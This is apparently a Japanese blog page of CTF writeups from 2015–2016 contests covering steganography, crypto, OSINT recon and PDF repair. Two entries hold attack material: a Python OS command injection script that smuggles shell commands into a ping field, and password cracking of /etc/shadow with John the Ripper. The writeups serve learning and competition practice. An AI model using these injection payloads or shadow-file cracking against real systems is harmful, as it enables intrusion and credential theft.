2016年01月

Break In 2016 writeup Question 11

Question 11

Go to ScoreBoard (Score 20)


If you aren't on the Score Board this question is for you! :D
特に手がかりがないので、このページのHTMLソースを表示してみます。コメントにフラグが記載されていました。

no title

フラグは、
#breakin
です。



Break In 2016 writeup Question 2

Question 2

You can(t) see me (Score 100)


On the wonderland of britannia, there are two kinds of dragons Red and Black
Master Zero is the commander of blacks and all the black dragons support him.The Red dragons' leader Amiya thinks that the Reds are the best among dragons and blacks are nothing but useless.
So they want to teach a lesson to black dragons.They encoded a message in this image and sent it to them asking them to decode it. Can they see the message?

Tags: #stego #reversing


画像の中に埋め込まれたメッセージを解読する問題です。
このPNG画像「color.png」は幅7×高さ200のサイズで、赤と黒のピクセルから構成されています。幅が7ドットですので、赤黒のピクセルで1,0のビット、1ラインで1文字のASCIIコードを表していると予想します。
ためしに、最初の数ラインについて、赤(1)、黒(0)として解読してみます。
no title
1行目 0110011=33    3
2行目 1111000=78    x
3行目 1011000=58    X
4行目 1001011=4B    K
4行目までですが、全て印字可能文字になりました。それでは、200行すべてをASCIIコードに変換するRubyプログラムを書いてみます。画像のピクセルを取得するのに、RMagickライブラリを使っています。
require "RMagick"
include Magick

def get_rgb_arry(file)
  img = ImageList.new(file)
  str = ""
  for y in 0...img.rows
    ch = 0
    for x in 0...img.columns
      src = img.pixel_color(x, y) # 元画像のピクセルを取得
      ch = ch << 1
      if src.red > 0 then
        ch += 1
      end
    end
    str = str + ch.chr
  end
  return str
end

pic1 = "color.png"
print get_rgb_arry(pic1)
プログラムを実行すると、次の文字列を得ることができます。
3xXKkFstTUpsG2IFDirE6xDrcAF8DSx4iWxd5f9IQ9T205izN8lS2MQUlsF11gT4TFXHHlLHVHprNTtrh6lURfdUW7Lpuzgu1VKzwb1bg1oq6Ae3GnykkLZZsnze3HVLxHlfCYtzyrcV2Oxp0Gb0Z2ELphR4Oxo7TyvHCuWKWlN8t8KIfHysZK7jBNPu6wRVEUPIwVra
submitすると、見事正解でした。
ということで、フラグは、
3xXKkFstTUpsG2IFDirE6xDrcAF8DSx4iWxd5f9IQ9T205izN8lS2MQUlsF11gT4TFXHHlLHVHprNTtrh6lURfdUW7Lpuzgu1VKzwb1bg1oq6Ae3GnykkLZZsnze3HVLxHlfCYtzyrcV2Oxp0Gb0Z2ELphR4Oxo7TyvHCuWKWlN8t8KIfHysZK7jBNPu6wRVEUPIwVra
です。

Ruby on Rails環境構築ガイド
黒田 努
インプレス
2013-03-22


Break In 2016 writeup Question 4

Question 4

Find The idiot (Score 100)


Your friend Bob, is an expert penetration tester. He loves solving and creating puzzles. He is invited by Pied Diaper Inc. for some testing. You join him for this technical expedition. At the site, you watch him work for a few minutes, when he exclaims, "What an idiot!". Then, he looks at you with a with a playful gaze. Then, handing out a flash drive to you he says, "Find the idiotic user".
Link: Here

ダウンロードしたファイルを解凍すると、Linuxのファイルシステムが得られます。ディレクトリを探索すると、次のファイルが見つかります。問題文に"Find the idiotic user"(馬鹿なユーザーを探せ)とありますので、おそらく脆弱なパスワードを設定しているユーザーを探す問題でしょうか。

  • /etc/passwd
  • /etc/shadow

それでは、John the Ripperでパスワードを解析してみます。unshadowコマンドでpasswdファイルとshadowファイルからJohn the Ripperで処理できるファイルを作成します。作成したファイルをjohnコマンドで処理すると、パスワードが解析されます。

>cd etc

>unshadow passwd shadow > johnpasswd
>chmod 400 johnpasswd

>john johnpasswd
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 7 password hashes with 7 different salts (sha512crypt [32/32])
dragon1          (gohan)

早速、gohanユーザーのパスワードが解析できました。とりあえず、このパスワード「dragon1」をsubmitしてみると、見事正解でした。


フラグは、

dragon1

です。




Insomni'hack teaser 2016 writeup smartcat1

smartcat1 - Web - 50 pts - realized by grimmlin

Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently
Ping destinationにIPアドレスを入力してEnterすると、PINGコマンドの実行結果が出力されます。OSコマンドインジェクションの脆弱性をつく問題だと思われます。
no title

改行コードで区切ってpwdコマンド、lsコマンドを送り込んでみます。次のPythonプログラムでCGIプログラムに接続します。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
プログラムを実行すると、レスポンスのHTML中に以下の出力を得ることができました。cgiプログラムのカレントディレクトリが/var/www/cgi-bin、そのディレクトリにindex.cgiファイルとthereフォルダが存在することが分かります。
  <pre>/var/www/cgi-bin
index.cgi
there
</pre>
スペースや$などの文字はサニタイジングしているようで使えませんので、環境変数のHOMEにパスを設定してcdコマンドでディレクトリを移動します。これを繰り返すと、最後にflagファイルが見つかります。スペースが使えないので、catコマンドに入力リダイレクトでflagファイルを読み込ませます。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls\nHOME=/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the\ncd\npwd\nls\ncat<flag'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
実行すると、次の出力を得ることができました。
  <pre>/var/www/cgi-bin
index.cgi
there
/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please
/tell/me/seriously/though/here/is/the
flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
フラグは、
INS{warm_kitty_smelly_kitty_flush_flush_flush}
です。



Insomni'hack teaser 2016 writeup Bring the noise

Bring the noise - Crypto - 200 pts - realized by veorq

Quantum computers won't help you

Source
Running on: bringthenoise.insomnihack.ch:1111
ncコマンドで指示されたサーバー、ポートに接続すると、Challenge = ?????と表示されて入力待ちになります。
>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee
何か適当に入力するとすると、「Wrong」と表示されて切断されてしまいます。
aaaa
Wrong
さて、ここで提示されているソースを確認します。
35~41行目が1つ目の入力チェック部分です。Challenge = ?????の部分は、ランダムな16進文字列5桁が表示される(ソース35~36行目)ようです。そして、入力した文字列をMD5でハッシュ化した16進文字列(ソース38行目)の先頭5桁が一致していれば(ソース39行目)次に進めるようです。
        challenge = hexlify(os.urandom(1+POWLEN/2))[:POWLEN]
        put('Challenge = %s\n' % challenge)
        response = self.rfile.readline()[:-1]
        responsehash = hashlib.md5(response).hexdigest().strip()
        if responsehash[:POWLEN] != challenge:
            put('Wrong\n')
            return
そこで、数字のみで0,1,2,…と順にMD5のハッシュ値を計算し先頭5桁と、表示されたchallengeを比較するpythonプログラムを作成します。以下のプログラムを「aaa.py」として保存します。
import hashlib
POWLEN = 5
response = 0
challenge = '19fee'
while True:
    responsehash = hashlib.md5(str(response)).hexdigest().strip()
    if responsehash[:POWLEN] == challenge:
        print(str(response) + '\n')
        break
    response += 1
実行すると、数秒で次のとおり結果が出ます。2029864のMD5ハッシュ値は「19feea32e280740586d9795346b1f99f」なので確かに合っています。
>aaa.py
2029864
この値を入力するとやはり正解だったようで、次にカンマ区切りで7つの数字が40行表示されます。
提示されたソースの17~27行目、43~52行目が該当部分です。まず、solutionは0~7の乱数6個から成り(ソース19行目)、これが答えになります(ソース50行目)。次に、表示される7つの数字40行の部分ですが、最初の6つはcoefsという0~7の乱数6個で、7つ目はcoefsとsolutionについて各要素同士の積の和を8で割った余り(ソース23行目)を、ランダムに-1~+1した値(ソース24,25行目)になります。これを40回まわして40行分出力しています。
def learn_with_vibrations():
    q, n, eqs = 8, 6, 40
    solution = [randint(q) for i in range(n)]
    equations = []
    for i in range(eqs):
        coefs = [randint(q) for i in range(n)]
        result = sum([solution[i]*coefs[i] for i in range(n)]) % q
        vibration = randint(3) - 1
        result = (result + q + vibration) % q
        equations.append('%s, %d' % (str(coefs)[1:-1], result))
    return equations, solution

        (中略)

        equations, solution = learn_with_vibrations()
        for equation in  equations:
            put(equation + '\n')

        put('Enter solution as "1, 2, 3, 4, 5, 6"\n')

        sol = self.rfile.readline().strip()
        if sol != str(solution)[1:-1]:
            put('Wrong\n')
            return
したがって、solutionをランダムに生成し(以下のプログラムでは変数ans)、40行の全てについて、最初の6つの数値とansとで同様の計算をした結果と7つ目の数値との差が-1,0,1のいずれかであれば、変数ansが答えと想定されます。この処理を行う以下のプログラムを「bbb.py」として保存します。
import struct
import os

def randint(bound):
    return struct.unpack('<L', os.urandom(4))[0] % bound

equations = [
"2, 2, 3, 2, 3, 4, 2",
"1, 0, 4, 6, 6, 4, 1",
"2, 1, 7, 6, 3, 0, 0",
"5, 6, 1, 4, 2, 1, 2",
"7, 6, 2, 0, 3, 4, 6",
"4, 7, 6, 7, 7, 4, 1",
"2, 5, 2, 7, 6, 4, 4",
"0, 6, 7, 6, 7, 4, 3",
"2, 2, 6, 2, 0, 4, 5",
"1, 4, 6, 7, 4, 3, 0",
"3, 7, 0, 3, 3, 6, 2",
"4, 3, 5, 6, 4, 3, 7",
"3, 5, 0, 1, 6, 0, 5",
"5, 6, 0, 3, 7, 3, 7",
"0, 6, 0, 0, 5, 4, 5",
"0, 1, 5, 2, 6, 4, 1",
"2, 6, 2, 5, 7, 5, 2",
"2, 2, 0, 1, 6, 6, 2",
"0, 4, 4, 4, 4, 6, 2",
"1, 0, 7, 3, 7, 5, 7",
"2, 4, 7, 6, 5, 4, 5",
"5, 7, 4, 7, 3, 4, 7",
"1, 3, 3, 5, 7, 4, 7",
"0, 0, 2, 4, 5, 3, 1",
"5, 2, 3, 5, 0, 0, 2",
"5, 4, 5, 7, 3, 1, 7",
"5, 7, 5, 2, 4, 5, 1",
"1, 3, 3, 4, 0, 2, 6",
"4, 7, 0, 2, 4, 5, 7",
"6, 1, 5, 5, 1, 6, 1",
"5, 0, 4, 4, 1, 6, 0",
"0, 2, 5, 4, 5, 4, 2",
"7, 1, 1, 1, 5, 2, 3",
"4, 6, 0, 2, 4, 5, 4",
"4, 0, 1, 1, 2, 0, 1",
"3, 7, 4, 5, 3, 6, 3",
"0, 7, 7, 5, 6, 7, 4",
"1, 2, 3, 2, 4, 5, 3",
"6, 1, 2, 3, 5, 2, 1",
"5, 1, 5, 0, 3, 7, 1"
]

while True:
    ok = 1
    ans = [randint(8) for i in range(6)]
    for i in range(40):
        equ = equations[i]
        coefs = equ.replace("L", "").split(",")
        result = int(coefs[6])
        del coefs[6]
        res = sum([ans[j]*int(coefs[j]) for j in range(6)]) % 8
        if not ((res + 8 + 1) % 8 == result or (res + 8) % 8 == result or (res + 8 - 1) % 8 == result):
            ok = 0
            break
    if ok == 1:
        print ans
        break
実行すると、数秒で次のとおり答えが表示されます。
>bbb.py
[0L, 2L, 2, 5, 1, 7L]
この値を入力すると、フラグが表示されました。
以下は、実際のコンソールのログです。
>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee
2029864
2, 2, 3, 2, 3, 4, 2
1, 0, 4, 6, 6, 4, 1
2, 1, 7, 6, 3, 0, 0
5, 6, 1, 4, 2, 1, 2
7, 6, 2, 0, 3, 4, 6
4, 7, 6, 7, 7, 4, 1
2, 5, 2, 7, 6, 4, 4
0, 6, 7, 6, 7, 4, 3
2, 2, 6, 2, 0, 4, 5
1, 4, 6, 7, 4, 3, 0
3, 7, 0, 3, 3, 6, 2
4, 3, 5, 6, 4, 3, 7
3, 5, 0, 1, 6, 0, 5
5, 6, 0, 3, 7, 3, 7
0, 6, 0, 0, 5, 4, 5
0, 1, 5, 2, 6, 4, 1
2, 6, 2, 5, 7, 5, 2
2, 2, 0, 1, 6, 6, 2
0, 4, 4, 4, 4, 6, 2
1, 0, 7, 3, 7, 5, 7
2, 4, 7, 6, 5, 4, 5
5, 7, 4, 7, 3, 4, 7
1, 3, 3, 5, 7, 4, 7
0, 0, 2, 4, 5, 3, 1
5, 2, 3, 5, 0, 0, 2
5, 4, 5, 7, 3, 1, 7
5, 7, 5, 2, 4, 5, 1
1, 3, 3, 4, 0, 2, 6
4, 7, 0, 2, 4, 5, 7
6, 1, 5, 5, 1, 6, 1
5, 0, 4, 4, 1, 6, 0
0, 2, 5, 4, 5, 4, 2
7, 1, 1, 1, 5, 2, 3
4, 6, 0, 2, 4, 5, 4
4, 0, 1, 1, 2, 0, 1
3, 7, 4, 5, 3, 6, 3
0, 7, 7, 5, 6, 7, 4
1, 2, 3, 2, 4, 5, 3
6, 1, 2, 3, 5, 2, 1
5, 1, 5, 0, 3, 7, 1
Enter solution as "1, 2, 3, 4, 5, 6"
0, 2, 2, 5, 1, 7
INS{ErrorsOccurMistakesAreMade}
フラグは、
INS{ErrorsOccurMistakesAreMade}
です。



CSAW CTF Qualification Round 2015 writeup Julian Cohen

Twitterに答えがあります。

no title

フラグは、
flag{f7da7636727524d8681ab0d2a072d663}
です。




CSAW CTF Qualification Round 2015 writeup Flash

We were able to grab an image of a harddrive. Find out what's on it.
flash_c8429a430278283c0e571baebca3d139.img
imgファイルをStirlingで開いて、「flag{」で検索してみると、下図のとおりフラグがヒットします。

no title

フラグは、
flag{b3l0w_th3_r4dar}
です。



CSAW CTF Qualification Round 2015 writeup Alexander Taylor

http://fuzyll.com/csaw2015/start
問題で与えられたURLにアクセスします。
まず1問目は、Alexander Taylor(FUZYLL)氏の大学のハッキングクラブの頭文字を調査する問題です。
CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.
https://www.linkedin.com/in/fuzyll
LinkedInのプロフィールの学歴欄に次の記載があります。
ゼミ・クラブ・サークル: President of the Whitehatters Computer Security Club, Member of the USF Honors College, Member of the Eta Kappa Nu Honor Society
ということで、1問目の答えはwcscですので、次のURLにアクセスします。
http://fuzyll.com/csaw2015/wcsc
CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==
2問目、2行目をBASE64で復号すると次のようになります。
おそらく、「super smash brothers」のメイン使用キャラを聞いていると思われます。
Nice work! The next part is at /csaw2015/<my super smash brothers main>.
「fuzyll Super Smash Bros.」でググると、YouTubeのゲームプレイ動画がいくつか出てきます。どうやら使用キャラは「Yoshi」のようです。
no title
次のURLにアクセスします。
http://fuzyll.com/csaw2015/yoshi
次のPNG画像が表示されます。
yoshi
このPNG画像には次のようなコメントが埋め込まれています。
CSAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier>.
意訳すると、「初めて参加したDEFCON予選で破った暗号システム」でしょうか。
そもそも初めて参加したDEFCON予選が何回目なのか分からないので、過去のDEFCON予選のcrypt問題を順番に確認していきましょう。

次のサイトは、DEFCON18 Qualsのwriteupです。
http://www.vnsecurity.net/ctf%20-%20clgt%20crew/2010/05/25/defcon-18-quals-writeups-collection.html
crypt問題に「enigma」というものがあります。試してみたら次の質問が表示されました。
http://fuzyll.com/csaw2015/enigma
CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj

var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
    c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);
表示されたjavascriptのコードをそのま実行すると、次の文字列が出力されます。
The next stop on your quest is: /csaw2015/they_see_me_rollin
ということで、次のURLにアクセスします。
http://fuzyll.com/csaw2015/they_see_me_rollin
CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!
ついにフラグが表示されました。
フラグは、
flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}
です。

エニグマ・コード―史上最大の暗号戦 (INSIDE HISTORIES)
ヒュー シーバッグ=モンティフィオーリ
中央公論新社
2007-12


Trend Micro CTF Asia Pacific & Japan 2015 Online Qualifier writeup Programming100

Category: Programming
Points: 100

Click on the different color.
http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color

Please type in the flag in the 'TMCTF{<flag>}' format.

Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.
与えられたURLにアクセスすると、下図のような格子状の画像が表示されます。このマス目のうち1箇所だけ
が微妙に色が異なっているので、そのマス目をクリックすると次の画像が表示されるようになっています。
最初は2×2から始まって、3×3、4×4、という風にどんどん細かくなっていきます。
下図は13×13ですが、目で判断するのは至難の業です。
no title

そこで、HTML5+javascriptで画像の特定座標の色を読み取って、異なる色の座標を取得するプログラムを書きます。
<canvas id='panel' width="390" height="390"></canvas>
<div id='answer'></div>
<script>
(function() {
    var src = 'ff3d5e6f48bee72d18d9ff04d3e5955199d2f8aa7684.png';
    var canvas = document.getElementById('panel');
    var pal = document.getElementById('answer');
    context = canvas.getContext('2d');

    var image = new Image();

    // 画像要素を生成します
    image.src = src;

    // 画像読み込み完了
    image.onload = function() {

        var RATIO = 51; // 画像の分割比
        canvas.width = image.width;
        canvas.height = image.height;
        // 画像をキャンバス上に表示します
        context.drawImage(image, 0, 0, image.width, image.height);
        var colorArray = context.getImageData(0, 0, canvas.width, canvas.height).data;
        var save_r = 0;
        var save_g = 0;
        var save_b = 0;
        var flag = 0;
        for ( var x = 0 ; x<canvas.width; x++) {
            for (var y = 0 ; y<canvas.height; y++) {
                if (colorArray[(((y * canvas.width) + x) * 4) + 0] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 1] == 255 && colorArray[(((y * canvas.width) + x) * 4) + 0] == 255) {
                } else {
                    if (save_r == 0 && save_g == 0 && save_b == 0) {
                        save_r = colorArray[(((y * canvas.width) + x) * 4) + 0];
                        save_g = colorArray[(((y * canvas.width) + x) * 4) + 1];
                        save_b = colorArray[(((y * canvas.width) + x) * 4) + 2];
                    }
                    if (save_r == colorArray[(((y * canvas.width) + x) * 4) + 0] &&
                        save_g == colorArray[(((y * canvas.width) + x) * 4) + 1] &&
                        save_b == colorArray[(((y * canvas.width) + x) * 4) + 2]) {
                    } else {
                        pal.innerHTML = 'http://ctfquest.trendmicro.co.jp:43210/' + src.split('.')[0] + '?x=' + x + '&y=' + y;
                        flag = 1;
                        break;
                    }
                }
            }
            if (flag == 1) break;
        }
    };
})();
</script>
表示された画像をスクリプトと同じフォルダに保存し、画像のファイル名をvar src変数に指定して実行すると、下図のとおり、色の異なる座標を取得することができます。これを繰り返すことでフラグを得ることができます。

下図は最後の画像です。この次にフラグが表示されました。

1
表示されたフラグは、
Congraturations!! The flag is TMCTF{U must have R0807 3Y3s!}
です。



Trend Micro CTF Asia Pacific & Japan 2015 Online Qualifier writeup Analysis-others100

Category: Analysis-others
Points: 100

Please fix the PDF file for me.

Link
Please type in the flag in the 'TMCTF{<flag>}' format.

Please replace <flag> with the actual flag you would like to submit.
Example: If your flag is abc, then please type in TMCTF{abc}.
PDFファイルが破損していて表示することができません。
以下のサイトでPDFファイルの形式を確認しながら、破損している部分を修復します。
http://www.kobu.com/docs/pdf/pdfxhand.htm

まず、ID13のストリームオブジェクトに辞書(<< ... >>)がありません。また、ID14とID19のオブジェクトが参照されていません。
ID13のストリームデータ(stream~endstream間)は11991バイトあります。ID14の値が11991なので、ID13の辞書に「/Length 14 0 R」を参照で入れます。次に、ID19の辞書がID17と似ています。ID11の辞書をID13にも適用して、/Lengthを12→14、/SMaskを17→19としてみます。次のようになります。
<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 305 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode   
>>
これを、ID13の辞書として追記してファイルを保存し、表示してみます。
no title
PDFファイルを表示できるようになりました。しかし、フラグらしきものは読み取れません。
あとは、調整できるとすると画像の幅、高さくらいになります。試行錯誤の結果、/Widthを1220にすると、下図の通りフラグが読める状態になりました。
<< /Length 14 0 R /Type /XObject /Subtype /Image /Width 1220 /Height 50 /ColorSpace
16 0 R /Intent /Perceptual /SMask 19 0 R /BitsPerComponent 8 /Filter /FlateDecode   
>>
1
したがって、フラグは、
TMCTF{There is always light behind the clouds.}
です。

PDF構造解説
John Whitington
オライリージャパン
2012-05-25


記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー